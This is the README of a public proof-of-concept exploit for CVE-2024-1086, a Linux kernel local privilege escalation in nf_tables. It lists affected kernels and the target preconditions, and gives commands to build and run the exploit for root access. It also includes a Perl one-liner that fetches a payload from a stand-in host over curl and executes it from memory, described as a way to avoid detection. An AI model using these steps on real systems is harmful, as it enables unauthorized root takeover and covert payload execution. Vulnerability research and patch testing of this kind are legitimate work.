· 中文自述
Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086
, working on most Linux kernels between v5.14
and v6.6
, including Debian
, Ubuntu
, and KernelCTF
. The success rate is 99.4% in KernelCTF
images.
exploit_poc.mp4
A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.
The exploit affects versions from (including) v5.14
to (including) v6.6
, excluding patched branches v5.15.149>
, v6.1.76>
, v6.6.15>
. The patch for these versions were released in feb 2024. The underlying vulnerability affects all versions (excluding patched stable branches) from v3.15
to v6.8-rc1
.
Caveats:
- The exploit does not work
v6.4>
kernels with kconfigCONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(includingUbuntu v6.5
) - The exploits requires user namespaces (kconfig
CONFIG_USER_NS=y
), that those user namespaces are unprivileged (sh commandsysctl kernel.unprivileged_userns_clone
= 1), andthat nf_tables
is enabled (kconfigCONFIG_NF_TABLES=y
). By default, these are all enabled onDebian
,Ubuntu
, andKernelCTF
. Other distro's have not been tested, but may work as well. - The exploit may be unstable on systems with a lot of network activity
- Systems with WiFi adapter, when surrounded by high-usage WiFi networks, will be very unstable.
- On test devices, please turn off WiFi adapters through BIOS.
The default values should work out of the box on Debian
, Ubuntu
, and KernelCTF
with a local shell. On non-tested setups/distros, please make sure the kconfig
values match with the target kernel. These can be specified in src/config.h
. If you are running the exploit on a machine with more than 32GiB physical memory, make sure to increase CONFIG_PHYS_MEM
.
If you are running the exploit over SSH
(into the test machine) or a reverse shell
, you may want to toggle CONFIG_REDIRECT_LOG
to 1
to avoid unnecessary network activity.
If this is impractical for you, there is an compiled x64 binary with the default config.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binary: CVE-2024-1086/exploit
Running the exploit is just as trivial:
./exploit
Fileless execution is also supported, in case of pentest situations where detections need to be avoided. However, Perl
needs to be installed on the target:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository.